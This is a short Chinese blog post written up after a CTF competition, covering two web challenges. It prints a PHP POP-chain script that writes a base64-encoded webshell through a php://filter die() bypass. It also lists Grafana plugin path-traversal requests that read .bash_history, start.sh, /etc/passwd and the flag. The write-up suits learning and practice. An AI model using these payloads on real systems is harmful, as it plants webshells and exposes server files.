这是前两天打天权信安时做出的两道题(web有六道题),这也是当时打比赛过程中保存的payload,今天简单记录一下这次比赛的收获。
这是pop那道
<?php
class catf1ag1{
public $hzy;
public $arr;
}
class catf1ag2{
public $file;
public $txt;
}
$a = new catf1ag1();
$b = new catf1ag2();
$a->arr = array("pputut");
$a->hzy = $b;
$b->txt = "PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKSA/Pg==";
$b->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php";
//$b->file = "php://filterring.strip_tags|convert.base64-decode/resource=shell.php";
echo serialize($a);
?>
这是当时构造那个pop链的脚本,这个pop链并不难,攻击口也是常见的die函数+file_put_contents函数的死亡绕过,当时想着很快就能做出来了,结果不尽人意,然后也找出了原因,当时写入木马后(用的burp自带的那个浏览器),去访问木马文件了,这个过程我详细说一下(当时我在burp中代理拦截了以后,post了payload,用burp的重发器弄的,然后选的下边图片中的选项,在浏览器中打开来看看结果,结果都正常,但是切换url中的文件时,问题出现了,出了burp的一个报错,我以为是我的payload出了问题,也试了好多遍,找不到原因,然后在google浏览器中打开我写木马的那个文件,发现木马起作用了,有点意外。)
这是grafana那道。
一看环境很熟悉,就是前一段时间打字节跳动ctf的一个环境,不过那个比较复杂,这个比较简单,直接找对应版本的poc就可以打穿,然后访问历史命令文件,根据历史命令判断flag文件位置即可。
/public/plugins/gettingstarted/../../../../../../../../../../../../../../../home/grafana/.bash_history
/public/plugins/gettingstarted/../../../../../../../../../../../../../../../start.sh
/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../../../../../../home/grafana/f1ag
总之,技术的高低跟你的磨练程度是密不可分的,继续加油。
标签:gettingstarted,..,信安,ctf,burp,plugins,天权,php,public From: https://www.cnblogs.com/yhchen-blogs/p/16974259.html